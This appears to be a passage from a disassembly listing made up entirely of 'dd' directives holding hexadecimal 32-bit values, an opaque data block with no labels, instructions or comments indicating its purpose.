		dd 4500A8C5h, 46BEA8EAh, 75FC0780h, 0C142268Ch,	2564F696h
		dd 8DB88898h, 5AA8818Ah, 4294AD20h, 120169Ch, 48377425h
		dd 40C0309Eh, 549A91E2h, 3675DA05h, 0F0D8471Ah,	0FE6304F5h
		dd 32023E5Ah, 0CD172044h, 60904E63h, 7D043344h,	87E091C6h
		dd 295810Dh, 984A5244h,	0ABBFE9C0h, 3EB17000h, 0C56AE6AFh
		dd 0C8CF0111h, 9AA30134h, 2BD89F46h, 4C843815h,	988C7EB8h
		dd 5DF317A8h, 0DC8D49h,	8344E144h, 29A40800h, 70BFD07Ch
		dd 105D01E5h, 0B2378B23h, 70844680h, 0C7E0C20Ch, 4194206Bh
		dd 80427A0Bh, 60F2A303h, 18BD6B62h, 205958EDh, 421FD9AFh
		dd 0AB06C10Bh, 0EE198495h, 0DE74EA3Fh, 40CFC0C0h, 188DBD0Dh
		dd 28392160h, 34868Ah, 0C7FB98E4h, 9930CB09h, 47439D0Fh
		dd 0E1AF01BBh, 65604288h, 27360008h, 9C221BD5h,	0F10F7663h
		dd 0E04372AEh, 60C3E114h, 7A62078Ch, 2415C2h, 0D1D0E525h
		dd 8D883103h, 0A0BCEE43h, 0C10A70h, 135942E1h, 0A806CE4Dh
		dd 5129DA00h, 0ACA45304h, 289E0017h, 0A6A13A88h, 0EA005784h
		dd 3CCF3654h, 589459h, 0CB780AFCh, 0A4441792h, 3974B301h
		dd 209AA28Eh, 9096AAF0h, 6E690013h, 80B0441h, 30002199h
		dd 0C5AD24F0h, 0A0877DA3h, 116528Fh, 0D0AB2DA8h, 40FE20B4h
		dd 0F473FFA3h, 7CF5D600h, 0A6A8C597h, 61721D5Ch, 0B71E036Ah
		dd 4818F711h, 0B951BF46h, 0E1430052h, 77D248B0h, 403211Fh
		dd 8A96977Ah, 0C01DA412h, 8CBDB16h, 2807948Ch, 9296ADB3h
		dd 20A8E6h, 19749DF1h, 75945BB5h, 0A3806861h, 27FC3F4Fh
		dd 0F17F004Ah, 0A2D07C6h, 6690E103h, 0DA225600h, 0FB94D3D8h
		dd 0CF311F13h, 0ED22488h, 7F00720Ch, 0A1F714BCh, 0B0C1C4B8h
		dd 0A5852C97h, 0B5AFCh,	7A287E67h, 7730B03Bh, 1B61620h
		dd 0CF58E082h, 80948A71h, 0FB6AE139h, 0F7A03Dh,	0E79BE518h
		dd 0C2C6B2CFh, 94B37800h, 2497FFE2h, 0EC660CDCh, 0A0802D52h
		dd 0B5658800h, 0A7D79BE1h, 0CCA500CFh, 1F90CDACh, 4FF8EC28h
		dd 1B674Ch, 6F6D1DAAh, 7182144Ah, 0BFF0006Ch, 0CC368959h
		dd 0A0E1FEDh, 8C0B8364h, 0D921FDh, 80E18925h, 851F9470h
		dd 106D0738h, 5F164603h, 24140084h, 19DEFEA2h, 800FA339h
		dd 0CEC84B26h, 82215Fh
		dd 7A548793h, 0FEDD6544h, 6F06F57Ch, 6E4EEB6Ch,	3D60048h
		dd 0DA3F1C8Eh, 691E59E4h, 89C07C09h, 0A817121Bh, 0E8801E06h
		dd 83A5DF26h, 0E373915Eh, 0CE36E003h, 55F78Fh, 860C6F90h
		dd 584F4D42h, 0D7766375h, 0D18508C6h, 5E2C3D20h, 65A78381h
		dd 0EA9D7C27h, 1E5D8C80h, 94A00934h, 0A207E9CAh, 0CDF2E0CCh
		dd 0DFC2DCB0h, 0B7690125h, 0AA307792h, 0C5BED493h, 76A8700h
		dd 6610624Dh, 143C03ABh, 0A81BB075h, 35AD3DD0h,	909DC000h
		dd 0E3A416FEh, 0C17A85h, 6C6492E6h, 338018A9h, 772B7600h
		dd 5DABC7E7h, 23200C2h,	60112D2h, 0E4003FEBh, 0FDA16430h
		dd 0D8B334h, 2AC109A3h,	0D0557F4Fh, 18F5F3Ch, 285C9B7h
		dd 0AEE4D95Dh, 60E0013h, 0F65C0BA0h, 0FA008AC6h, 261A609Eh
		dd 3A1B2Ah, 1DFBA7E5h, 65BDED58h, 62F96F00h, 0D0B327DFh
		dd 87D00C0h, 6CDCB64h, 0B7003211h, 5FCACEA0h, 0C4BAADEh
		dd 0BBD70FD6h, 0D2073078h, 6EDBB3E7h, 0FCA5ABC0h, 0D8840028h
		dd 0CF0CB50Bh, 0F5317F2Ah, 161EB0A1h, 37445087h, 0A60680CCh
		dd 5207BE8Bh, 97A8B0A0h, 3629004Eh, 0E0DF846Dh,	855402C0h
		dd 8D0538B2h, 3A1A04B7h, 3041E49h, 1E800238h, 69A03D10h
		dd 892204FBh, 8F5014Dh,	39C015BBh, 7BDD3BAh, 4057461Ch
		dd 83C2AC9Eh, 20197968h, 0D9061830h, 0AF6A09F0h, 1D064D22h
		dd 356C9880h, 0A0BB5009h, 0A15B9618h, 69BA2D4Ch, 8AA0786Dh
		dd 1C8DD418h, 0DF904014h, 1A18889Ah, 95102F50h,	8882960h
		dd 20004A1h, 0BB33F308h, 9C44A195h, 99DC999h, 8204C91h
		dd 0B4B24028h, 8A0C08D0h, 0AD061423h, 0FD9106E2h, 49C30D01h
		dd 5010A140h, 0DEE09540h, 0BDC4009Fh, 8A9AD9E7h, 10E758B7h
		dd 58218785h, 961F5651h, 984DA9Bh, 4A1FC15h, 7D71607Dh
		dd 0D7F883CBh, 9FB04C48h, 899F8BC0h, 0AB9E613h,	0FEDEBDF1h
		dd 201114E6h, 0C446017Dh, 0C2574B37h, 1F1983EFh, 6F053FECh
		dd 4F845938h, 0CA0A4579h, 1160C0EEh, 0E60087D0h, 0F1260737h
		dd 0CDAD6A9h, 578F12BBh, 820CED60h, 712EB1FEh, 0F5490323h
		dd 0B8C89BD1h, 69D677C3h, 0EF60BA73h, 7B2D6449h, 3B623A3Ch
		dd 0D5AA0506h, 0D2740855h, 0CD406B07h, 0AC300878h, 2437803Ah
		dd 81C839ECh, 6B259386h, 2E84D089h, 3F78CE78h, 0C1814E36h
		dd 92F6C48h, 9F070798h,	5236C934h, 0A89EBD33h, 0FED925h
		dd 0ABC3760Bh, 9B017F18h, 1F6CB53Ah, 1B82D116h,	64D88F2Fh
		dd 0A6730510h, 1FF53F5h, 21E07F8Ch, 86E8801Ch, 8D0A68A3h
		dd 45F11885h, 0CB1F89ADh, 51ED3Ch, 10FFEA0Bh, 31D42119h
		dd 0F6280572h, 23A90036h, 634819FEh, 4012C134h,	24D89888h
		dd 190369E2h, 80BA740h,	3A189806h, 0DC4855F1h, 5CB7001h
		dd 0F0562FD0h, 0ED09282h, 8CE2E788h, 864EAC00h,	0CD145960h
		dd 1015D3h, 378A50AFh, 0C511DEC7h, 401636A1h, 4E68DBB0h
		dd 30C086A0h, 0BFFC672Dh, 6314007Bh, 0A5B59992h, 24F3C53Eh
		dd 0A8AE372Ch, 451C0278h, 640388Fh, 0D679B98Ah,	664F808Dh
		dd 9398F1C0h, 0A520C728h, 86DB84B8h, 200D2238h,	85712217h
		dd 40FAD1E3h, 0CEAF6BD9h, 772DD300h, 4DC27E50h,	0F38E845h
		dd 0EC891371h, 0C00B2640h, 40E13EBDh, 0F15D88A4h, 144C1B07h
		dd 5760822Ah, 1F807938h, 80ACFD8Bh, 0FFE541D8h,	0C20E7636h
		dd 6C9501h, 14D59F2Ch, 0ED0E14DFh, 0EC0CA021h, 6FB8B862h
		dd 128997Ah, 0E309D0C5h, 902ED06Bh, 0A924AFC4h,	8450B7B8h
		dd 0DDB9ED4h, 5F7C01C1h, 1BD80029h, 8774B499h, 8C8CF729h
		dd 40C3EF42h, 20817944h, 98261884h, 0A38B0C3Dh,	85E88930h
		dd 0EEC5A610h, 14CA1809h, 0F7211A30h, 88225851h, 0F762C35Ch
		dd 4CE84C07h, 60A8D2CAh, 0F0CC8CEBh, 7012929h, 80897712h
		dd 1E2200D6h, 8B38BA81h, 98A0763Ch, 41C013C5h, 1A013FB2h
		dd 4CA5189Fh, 9505B1E4h, 7D284764h, 2101D720h, 0D23C3750h
		dd 0D89B0F05h, 5842576Dh, 40432E5Fh, 0A49DECB0h, 0ACA50A48h
		dd 0F00CCEh, 41258123h,	0D431C38Eh, 24898004h, 0B0840CDDh
		dd 818491E8h, 248DD868h, 583E25B8h, 59749966h, 70340218h
		dd 97EB06EDh, 712839EFh, 0E455614h, 3D5710B0h, 0A091D388h
		dd 5C058869h, 0C0CC4040h, 392218DAh, 82140900h,	72389DD7h
		dd 408301D2h, 73F61DFh,	7CA041A3h, 0F8721032h, 387F5C62h
		dd 3C8DBA81h, 4F21F480h, 18398330h, 0A2F8A03h, 479045C8h
		dd 9228198h, 0E06C5C1Eh, 10C08682h, 753F1614h, 0FEC60406h
		dd 893AE845h, 5F189EC8h, 9B3EACC7h, 10562A80h, 0E220283h
		dd 3D9491F3h, 50C2C882h, 6EC19880h, 0F2010D03h,	0C7B94CFFh
		dd 0FC30380Ah, 7B01E6ACh, 0A0F118CAh, 0E1969188h, 8464C12Ch
		dd 6C32674h, 0E9CC84F0h, 207880D5h, 4C3A5A07h, 0C7909269h
		dd 3EF18810h, 0CC2E8674h, 2229F79Bh, 37105B23h,	70113810h
		dd 9B74114Bh, 22288F28h, 7C22F58Ch, 43E62260h, 82144B50h
		dd 8898F844h, 8A000A89h, 2D4C5183h, 9AB94h, 0F94DD0E4h
		dd 993B40A5h, 6BD24E00h, 96AD0F39h, 460B1E37h, 82770149h
		dd 0CC9B6CF2h, 0DD792C2Fh, 95C85300h, 57289C1Fh, 0EA4000AAh
		dd 10A1FB41h, 0CF00C225h, 0CEA78992h, 1B711DDh,	8A045B80h
		dd 401C2E34h, 0C3BAFFB2h, 0A624318h, 7864210h, 0AEAA5B5Eh
		dd 20C0BF0Dh, 66BB8E74h, 0CA67BF00h, 1C6A8C9Ch,	1C59E203h
		dd 409F0B07h, 9ADAD4C2h, 8801F4CEh, 0B33F95BFh,	0C4298F83h
		dd 431D061Ch, 8A6E6B51h, 0DA649806h, 780DE3h, 0F3781F09h
		dd 24A7C9Ch, 0D71A9E07h, 0F6D0ADEFh, 24429Bh, 9DC517F0h
		dd 0E0107769h, 21D4E400h, 6AF6D85Ch, 0C580C0F8h, 83E68E49h
		dd 88B23439h, 0C1D6A0h,	2131E29Fh, 0AF00AA86h, 47870D4Eh
		dd 0CBEA15h, 0B65CDDBDh, 0B1B2074Bh, 898AE401h,	1E7520F1h
		dd 0C8D59AC5h, 1BD8A880h, 0BDDBF2E8h, 30500103h, 0C0CCB15Bh
		dd 4AB8DCh, 4251FDF7h, 0D8E30E40h, 699AF800h, 41C91113h
		dd 88B700CFh, 5F70B07Dh, 0AF009D1Ah, 896106C7h,	621D9Ch
		dd 4B32286Ch, 0EDCAACE9h, 34C15B00h, 80273626h,	65A70370h
		dd 5606A260h, 2520C09Ch, 23002ECFh, 41DAFB7Fh, 0FA187864h
		dd 3C404C0h, 82DED3AAh,	6560830Ch, 59011A37h, 54B3BE8Fh
		dd 0A0F46ACDh, 0E0E01Eh, 0B6190187h, 0B1A35310h, 847D413Bh
		dd 1D149EE1h, 93F31890h, 23510085h, 0C20A8DFAh,	5E01C941h
		dd 0AA69A8D5h, 10602D92h, 0F0640026h, 650A40D9h, 6B008BECh
		dd 134B6F30h, 0EECDA6h,	911D8CF6h, 97023552h, 7BAE280Fh
		dd 0DD110795h, 76E38080h, 916F0017h, 0F560B04h,	35647024h
		dd 74D0D10Eh, 182A6E4h,	0E79DE926h, 402B2A10h, 64C627F4h
		dd 0BAFB100h, 0B380B2D9h, 9FFF00E3h, 74A34092h,	6A1CE1B0h
		dd 3B9F4F55h, 0C1517A40h, 7263E6h, 0B568C32Ch, 1A20BEDAh
		dd 0FE34AC00h, 0C8B745D3h, 940900A2h, 0B4255CF5h, 600696Dh
		dd 1C312D77h, 189A8D9h,	0DD58EBADh, 0C060089Ah,	8D1D96DFh
		dd 6EDCC393h, 35780F00h, 0C57136h, 0F5D9DC97h, 6FADA1DEh
		dd 0CC003AB0h, 9A9B8BC2h, 1FDD0B21h, 0FAA088h, 69EDBF9Eh
		dd 5C0BB593h, 8434E4h, 8182552Ch, 0A1920017h, 41A278BCh
		dd 0B4706F56h, 87A4363Fh, 9926799Bh, 3A80BDA7h,	4FCBE5h
		dd 56532C6Ch, 71B58EA6h, 29CA200Eh, 0A00A09EDh,	962FEC2Ch
		dd 0FD10041h, 322450F5h, 0E207947Bh, 2A8EABF2h,	2FA99610h
		dd 0B3E8E6h, 0F359841Eh
		dd 7E825499h, 93F9D800h, 0BD1A62Bh, 284200C2h, 0D6691883h
		dd 0AE07F744h, 87FC502Ch, 122AB0D0h, 9C1A07ABh,	0C086F672h
		dd 9A62C920h, 3000B2EEh, 8A8289C1h, 2C5C042Dh, 3B983E1Bh
		dd 24EE0975h, 0CF092327h, 54615800h, 0BC5C101Ch, 1CC83C48h
		dd 0BA40D4E2h, 96D1431Eh, 4D090682h, 5068A2DBh,	0C8E37B17h
		dd 2851CC0Ah, 0A1560038h, 3EF00191h, 68FB00CAh,	691A4FC2h
		dd 204B2686h, 9E78A0h, 505D7F1Bh, 0B8618372h, 295D300h
		dd 0DB1E2EE6h, 576F00B9h, 2DB0F1F5h, 727D3F18h,	0C4D2CE01h
		dd 0EEABD5D9h, 0D83B70h, 7B05D76h, 0F40445B3h, 3FC755Dh
		dd 8D932B41h, 69B5F848h, 0E8DF609Ah, 20276BC5h,	800A570h
		dd 99D217D4h, 7E3B12Fh,	6F0ECDC7h, 19FEB1F4h, 0D7EBFCA1h
		dd 0A9AD9700h, 5AA71474h, 826C00F3h, 0EFE9451Bh, 0C20016CEh
		dd 0D32AFC38h, 7D1DADh,	6C4DB0BEh, 46E1F0AEh, 82BA7050h
		dd 4E8D3207h, 0AC30C9E7h, 8A3C2Fh, 59392E0Ah, 0DA9731AAh
		dd 8D534800h, 1E11092Ch, 4DE6008Fh, 52F1685Dh, 0C43EA071h
		dd 0FEED8014h, 0E0024BEEh, 8ED81C80h, 81F70022h, 937A1845h
		dd 13F09258h, 58406F69h, 0F2A19B12h, 5B651DEBh,	6090C03Fh
		dd 0CF38771Ah, 5A73821Eh, 9652BA00h, 0D959E6h, 597E214h
		dd 0CC3CD566h, 10D4CF49h, 0C80BA4C2h, 0A0017C67h, 0E41519F9h
		dd 0FF035818h, 9A2F4B27h, 0F788879h, 0C8240048h, 89F1E4F9h
		dd 0EB385CC1h, 47DD006Fh, 56B1D868h, 6E8400C5h,	0E80B8C07h
		dd 0E100FB45h, 82F50C33h, 983F05D3h, 0FA1C4CA1h, 29261901h
		dd 0D45CB37Ah, 66988D01h, 0BBD13700h, 413DB790h, 388B0375h
		dd 0D65665CEh, 311903A8h, 762F370Eh, 5CEB2013h,	30A564D7h
		dd 0D5CE88EEh, 0AB1F50ADh, 2480465Fh, 0A01D56B9h, 2DE80083h
		dd 0B163CDD9h, 0E40EE526h, 0E3DB145Eh, 991893E7h, 10801B76h
		dd 2A397DF0h, 0D53F2B0Dh, 0E4670097h, 6AA1494Bh, 0CF00AC1h
		dd 0A0C662h, 0E1A6E53h,	0FDE2F2DAh, 99BB8C00h, 10B02DDEh
		dd 0AD1C0261h, 68435E08h, 3AD62C60h, 330553B0h,	6F907A5Dh
		dd 0A648A0h, 77EC4F0Eh,	32921899h, 5175E700h, 0AA2A58D3h
		dd 0F02D4CA1h, 4EC8B50Bh, 0C7824A0h, 34000D21h,	7F07E967h
		dd 1E5126h, 0DFF252ECh,	7D8E826Dh, 0F164D40Ch, 0F8FB19D2h
		dd 67331D63h, 125540A7h, 9ACAAB4Fh, 705A0D00h, 0F873B10Ch
		dd 0E52B035Ch, 3F0455Eh, 0BA0781D8h, 0B0C06A75h, 0C4CF32A9h
		dd 5FF29Dh, 0B4D7E13Ch,	0E31C343Fh, 12834200h, 0A60BE504h
		dd 0C361002Ah, 0CB071DD4h, 0AD009281h, 479E50A8h, 0A728BE0h
		dd 0D36A8716h, 0A37A0ED4h, 3E5730D8h, 0BCD6C600h, 1D9B7F90h
		dd 899500C1h, 14BF02E0h, 2100ABE3h, 0FA712F79h,	4CC2Ah
		dd 2D6165CFh, 0FF60DCA6h, 313F530Fh, 4555C09Eh,	748B0F05h
		dd 19DA015Dh, 0BF068A89h, 9482CB9h, 602878E5h, 0E64E56B0h
		dd 90CA008Ah, 0B7EA3C66h, 9707399Ah, 50097747h,	0E8A6E233h
		dd 0FC898F5h, 92B7916Bh, 1521754Ch, 47014C00h, 3CA9C4A2h
		dd 0F0270346h, 93BB9994h, 344E3DD8h, 913B2203h,	932E456Ah
		dd 0F676B047h, 11CF004Fh, 0DB05C282h, 0BE00AA3Eh, 55735C23h
		dd 8AEACDh, 10EDD815h, 51213D95h, 0E4FB8612h, 39B0CC0h
		dd 0FAAF9834h, 0B2FE0711h, 909DF28Eh, 4DDC07C7h, 0F38FEC00h
		dd 898BA5F1h, 50EA46h, 72AE6A8h, 0E0B6E86Eh, 99F0720Eh
		dd 0BECEA038h, 58FEA7h,	62C9EA9h, 0A2D6F898h, 750212FAh
		dd 0CBDEDCF0h, 35F180B4h, 0A93A40h, 0AEF83148h,	0CD26F284h
		dd 0F0FA5528h, 0AB6116A0h, 2885C516h, 0CF76790Fh, 0DA900037h
		dd 0F23E283h, 0C3C10453h, 0D9070181h, 5BE21EBh,	0CBB100CCh
		dd 1E106DBDh, 9DC2F53Ch, 0FE0092E8h, 6A40DAA3h,	0C0F700D0h
		dd 88A27EE6h, 741CF0A6h, 0FB4043A5h, 0D4820CE0h, 96681CBFh
		dd 0B7CC8087h, 3F06E836h, 0DF3C5549h, 0FC032940h, 3B275E1Ch
		dd 5A04440Ah, 81A628CFh, 0F8EE6447h, 5158A80Dh,	5BB00199h
		dd 0E4196181h, 0FEFFF4h, 0C10CF738h, 13457A37h,	3FE82300h
		dd 0DB188E54h, 0FCFF0049h, 0F58A5AA5h, 0ECB004C7h, 0EA4B748h
		dd 0C15B7456h, 0C133997Eh, 33754C4h, 350B8CDh, 0F5A8EBD2h
		dd 600099Ah, 74FC9941h,	3886B331h, 9E890772h, 0B8E0C2CFh
		dd 3500DC1Fh, 0A2228F9Ch, 1ACB7Ch, 557007EFh, 4DE73ACEh
		dd 5D0BBF05h, 0E9C20CE3h, 0ECAD40C5h, 0F1C90012h, 0A472427h
		dd 390502A4h, 0E60EAEDh, 67C809h, 86D8C394h, 536100FDh
		dd 9B568D14h, 0E104F63Eh, 8B06DE50h, 10C358C0h,	790A0005h
		dd 0D08F5572h, 93000482h, 39C0FD97h, 1E70249Dh,	8022F7CDh
		dd 0FB2A79DCh, 0B901DF58h, 9F308933h, 0B2EBC75Bh, 4314C098h
		dd 0A0DA031Ah, 81A13D48h, 6BA8BDA3h, 37038557h,	0AF42131Dh
		dd 0B564A023h, 0FC22008Bh, 0B61986CCh, 483E85DCh, 0BDF0802Fh
		dd 0A3D7AF1Fh, 96184CE9h, 9F244103h, 0F0083B34h, 3D607Fh
		dd 0F2205040h, 9D00102Ah, 0A9A1A801h, 21CAAFh, 1EBC6088h
		dd 0C5EAEEB1h, 0E0E9BA04h, 0DC806962h, 5AAE41h,	81B983BBh
		dd 0AD0B666Fh, 12580C0Ah, 720090D9h, 2FB44AEEh,	0AC4800B5h
		dd 0CD81AAD7h, 4B099BB6h, 3F1413h, 958F4515h, 20FB0052h
		dd 0DDF7B9CEh, 5B2DB6F1h, 7A00209h, 4C5AD7h, 0EA0D5E2Ch
		dd 0D9F4C44Bh, 0C3E38013h, 0E565A403h, 71BF0CDh, 0CB131D55h
		dd 0EBD6842h, 1C10568Fh, 2788A747h, 7552B330h, 559F9CE0h
		dd 0B6EBBA04h, 0F8F04DD5h, 70C4B85Dh, 0AF72005Eh, 0EDFF90ABh
		dd 0CC481734h, 1B0816A8h, 0E04BB012h, 9DB003F3h, 9B38E8B9h
		dd 34F91243h, 5BA8071Fh, 0B580DF19h, 0F2E26102h, 0B8581500h
		dd 4D7E6D17h, 0EFE2F6h,	6043CD0h, 0A4402961h, 0E43B9E28h
		dd 5A26E503h, 4D0F2BDh,	4CFCB10h, 5BF281C5h, 7038B0h, 957F87A0h
		dd 2AEFA8h, 0DA23656Bh,	34488FA1h, 0C5093Dh, 4A47A5EBh
		dd 18164Dh, 5509681h, 298B6CC1h, 0D15C7600h, 552F32B3h
		dd 6FB00003h, 0F4239077h, 0B6005D0Eh, 0D04C114h, 7BB332h
		dd 91851B19h, 0A274B809h, 3DF79504h, 0E8F0419Ah, 6FB10479h
		dd 0B098B013h, 5000785Ch, 0B9F1CF4Bh, 54FEF90h,	0C2F7E217h
		dd 8470C0BFh, 80E3722h,	416F0594h, 66C50BD0h, 1706B530h
		dd 18D61A2h, 0B7785850h, 0C7642C7Dh, 56B18822h,	72F8E149h
		dd 0ACDC0077h, 2729E9ECh, 472CEB1Ch, 0C70050EAh, 64F067BDh
		dd 7DC09595h, 0F5133AF9h, 8040B49Fh, 19A3B26Bh,	949C1Fh
		dd 87FCB062h, 920E2584h, 40EA690Dh, 47C5A035h, 85AC009Dh
		dd 745F6662h, 961ED5F4h, 3600506Ah, 0A311DD02h,	971D07C5h
		dd 29A840CCh, 74004C46h, 9212CDA9h, 2C90FBEh, 4389CFCh
		dd 0A0401709h, 200FA53h, 0D767E4Dh, 38A8696Fh, 17752B10h
		dd 1863C7h, 8AEC91C0h, 47FE28Bh, 2636C820h, 806442ADh
		dd 0EE8AF612h, 0DC305930h, 56614816h, 0E1E50038h, 0A02F0D19h
		dd 0BE03B182h, 0C0F2F3E6h, 926BE0D5h, 5DD70030h, 0A6E88A18h
		dd 0A06748AAh, 8C42E68h, 0C0500704h, 671D5EFFh,	58442101h
		dd 737F464Ch, 78F0EBF5h, 97520048h, 0FE62427Eh,	6700F066h
		dd 0E85F1B15h, 74B7DEAh, 7E4FB582h, 0A0D2F745h,	23D46E5Eh
		dd 7F003098h, 89B43F9Dh, 3DCCBF85h, 0B700D381h,	0B8A279C8h
		dd 6A01A7EEh, 0E3155C3Ch, 0B9F473F3h, 4E1000E9h, 0D5671F8Ah
		dd 9C02B1A1h, 4B3478A2h, 86AE06Fh, 0FCEC7Bh, 2065DE1Eh
		dd 0ECEDA130h
		dd 3F0E3Dh, 0B218BA26h,	0CF27E3h, 82EF8087h, 882D4F3Eh
		dd 0EC010C98h, 0B3EB8E74h, 74603ABEh, 518200BAh, 659B293h
		dd 0E3003171h, 0A99A746Ch, 0CDB767h, 581EAA03h,	0D17721F4h
		dd 0C5988F02h, 588256A8h, 690E0034h, 0EA0FDF84h, 6F00E09Eh
		dd 0E9F71899h, 50AE22Ch, 0DA359FA8h, 0C2E0814Bh, 97C6F091h
		dd 6960D700h, 2FDD85B7h, 7132DCCh, 0C98ED438h, 2937F00h
		dd 90A633A2h, 3C4C0042h, 579B8D9Dh, 0C700E2B1h,	0C011346Ch
		dd 5C75F070h, 0E10047CEh, 46EE83A9h, 2A263D4Ah,	5000B006h
		dd 0D82C37F5h, 0E89F676h, 1B1817FEh, 10E37E40h,	9C045E56h
		dd 5B3A0432h, 46331890h, 1BF93E20h, 36D402CFh, 0DCE01107h
		dd 0F8EDE069h, 0BD006F02h, 5917F568h, 9F7026h, 30D9F344h
		dd 0E67C7AC5h, 0B47C7C98h, 0C4E47800h, 9305C294h, 8BD10083h
		dd 5C92B635h, 0F300A870h, 791625E3h, 965A368Fh,	51D50918h
		dd 6918BE80h, 810795D4h, 827D3A13h, 5B3F7BB0h, 17671C15h
		dd 0C4364E35h, 0E03BB1A0h, 400060F9h, 0F72852C6h, 72A1EE50h
		dd 3A0200DEh, 0A42DDCC3h, 8276D6C8h, 90CC5900h,	8B88D216h
		dd 475B7Dh, 9FE219A0h, 0D8F2E32Dh, 0F400A87Fh, 7BB45D82h
		dd 110A63Ah, 8A67DCCDh,	80704C8Dh, 0BFB28E84h, 0B462F763h
		dd 3FF20008h, 24753936h, 0A34D1400h, 0AA7E1DB1h, 0FC5402E1h
		dd 7160F3A7h, 16E626C0h, 239B9F00h, 2B969261h, 55020079h
		dd 6275A8CBh, 0ED27AFB2h, 0FB9C2372h, 6146B847h, 0A92E17A5h
		dd 65AC022Ch, 0D560763Fh, 0B3ACA4Eh, 0F9FB0132h, 17A1A2B5h
		dd 0EC94B1E8h, 92B424D6h, 7674307Dh, 4D00DC4Ch,	3EDD5CB7h
		dd 0D6D360h, 4B303416h,	6701252Fh, 0FB3C7B0Eh, 180EC075h
		dd 0E4D2F584h, 9F3A3986h, 39060800h, 2116E90Dh,	71A6B100h
		dd 0D48FF701h, 0D6841EF0h, 0E1138004h, 4C89EFE5h, 5563C200h
		dd 0F9529498h, 0B4AE0BBEh, 1E80BA0Fh, 86506206h, 3A92200h
		dd 366E3029h, 74BE7D4Eh, 0EE8CE453h, 393EEC77h,	76027E59h
		dd 87CEA5Bh, 1A4923E0h,	0F3A99D00h, 0AAD19725h,	7CBB7439h
		dd 2D3C18E9h, 232918F4h, 0CC819960h, 0E248D3Fh,	47845FC2h
		dd 0D84D2680h, 20C5904Ch, 2800B41Ah, 0AC3912A3h, 0B908C0D1h
		dd 6182723Bh, 1A4D2E00h, 0E3A789DDh, 0BC5F00BBh, 0EF9AC81Dh
		dd 0EE180ECBh, 7368C077h, 530901D9h, 0A20F25F9h, 0F2A981ACh
		dd 0CC48C139h, 0C5A82981h, 80178863h, 65465220h, 0C71AA00Bh
		dd 41C1EF80h, 0E52CD1BAh, 6C86CECBh, 0D9C7B88Ah, 22B089D7h
		dd 51AC5Fh, 92F17EC4h, 5D43F07Fh, 179B5000h, 0F5D99830h
		dd 0C85E6073h, 0FD8EEEF9h, 0D2D18400h, 5769AB42h, 0B0480049h
		dd 0F2613B5Dh, 507A5BC2h, 295A2E03h, 885824CCh,	47A6C1h
		dd 3EC38960h, 2FA7F90Bh, 0FD00D898h, 0E36F815Fh, 0F69E5938h
		dd 0C1CE00A8h, 2C954ED2h, 1400E5A7h, 0A126578Bh, 82DE43h
		dd 228F64FAh, 0A87B0496h, 5EF92A1Eh, 33264A43h,	725A8892h
		dd 54750071h, 0CFE6A3F2h, 0C40F231Eh, 2FBD34B6h, 0E5480E4Ch
		dd 0B840472Ch, 33B94AF7h, 27E103FEh, 38161799h,	210073A3h
		dd 0CFB8E344h, 95913BFh, 897A5B36h, 5642DA00h, 0EF3EE74Ch
		dd 0D4D60040h, 0E305A3CCh, 64912Bh, 6D9A1845h, 891E87C5h
		dd 0B65D1A1Dh, 2096700Ch, 27B200E5h, 0E0F64E01h, 0FE01AB83h
		dd 173426A3h, 0E040F8BCh, 60A68851h, 0EEC060DBh, 22004394h
		dd 19DD760Bh, 121EE39Ch, 7EA204Ch, 15481D48h, 0E070402Dh
		dd 71C3D1B8h, 76223843h, 0B8194A07h, 7190A2BBh,	117ABE6h
		dd 0EAA4C1Fh, 0C03CCD4Bh, 8F243BC5h, 5280282Eh,	0CC9019BEh
		dd 914C062Dh, 203924B8h, 899E451Ah, 64B40591h, 0B9444420h
		dd 11FE2B3Dh, 5DDC08B4h, 8640D61Dh, 0D8AF846Eh,	6DFA1F9Ch
		dd 0CE901D30h, 2E436096h, 19E86571h, 9E7D778Fh,	0DCF8F62Eh
		dd 392A500h, 752DD4FDh,	68DF0614h, 0FAC0A834h, 0DE126709h
		dd 4C0700D6h, 9C8CADBh,	38A9C1D0h, 0C0454907h, 95F5B04Eh
		dd 0C72CAB98h, 8E01785Fh, 266F3994h, 7D0A8FCh, 0EBA340A2h
		dd 143760D2h, 0F60E9C89h, 0C0160797h, 9871495Eh, 0D2FE00E1h
		dd 9522ED23h, 0F800DD45h, 7220398Dh, 0AC3D43h, 0C2B4EA89h
		dd 0C0140EB2h, 5BFA9F71h, 0FECE300h, 0EDEF8890h, 36D303E1h
		dd 0FD116F65h, 0FE022800h, 69EE8542h, 0B7FCE9AFh, 790C005Bh
		dd 532CFB01h, 0F4E934C2h, 97015C3Eh, 0E266A2B0h, 488080D3h
		dd 6B148B2Dh, 0D8B7568Ah, 86E6387h, 0CE83818Dh,	0A80F7A98h
		dd 1306478h, 69363489h,	16EE3009h, 0FD345628h, 7C74F77Bh
		dd 0B51D7071h, 0DA4C59A5h, 103589Dh, 0CBB428D8h, 0E4BE7FD0h
		dd 0F500955Ah, 3E510E31h, 0FFEA42h, 574BB14Ch, 3F9D0B2Ah
		dd 47781874h, 7A54CB00h, 0BDB536CCh, 1467006Fh,	55B8B996h
		dd 0D200A6EFh, 738AC132h, 0E40F07Ah, 0DF5128E0h, 374C5240h
		dd 0B005C50h, 15911F3Fh, 1B63ED0h, 0DF3BBF7Fh, 0ECE4E21Ch
		dd 1900E665h, 5B827180h, 0EEE439Eh, 0D77D9F54h,	75789940h
		dd 0AF00A25Dh, 3CB29056h, 5CE86D0Ah, 38002C23h,	7EC067E0h
		dd 0E5EC618Ah, 0F672BF00h, 0B9BB6495h, 9D693D71h, 379A9101h
		dd 0FC4F169Eh, 4500356Ah, 0B8E54466h, 3AFE4930h, 0E158B2CFh
		dd 11DA3800h, 0C9843693h, 8C213C1Ch, 5CCE4740h,	0D09907h
		dd 2BEBC50Eh, 0A5F77489h, 6169FCFBh, 0F228DB60h, 0C1FA483h
		dd 36A1B778h, 0A0308B40h, 6AC820DEh, 52EA5Dh, 762916Ch
		dd 0BDE3B50Bh, 0B1046318h, 7A4C0538h, 55390699h, 49DC5D34h
		dd 91752D30h, 7E644F8Eh, 43273B0Fh, 0F1B91C77h,	39A1C045h
		dd 8EB2E929h, 0D9008479h, 0A7A379DDh, 3757409h,	72FDA98h
		dd 0D800201Fh, 0C32EAAA1h, 317F37Eh, 4B490CC5h,	11E94A1Ah
		dd 0B3D1CFCAh, 958448C8h, 61E4A807h, 14B0EAD9h,	2BBDCh
		dd 8DF4D8B8h, 156245DBh, 46CDB1C1h, 8085D53Dh, 8DBA1Fh
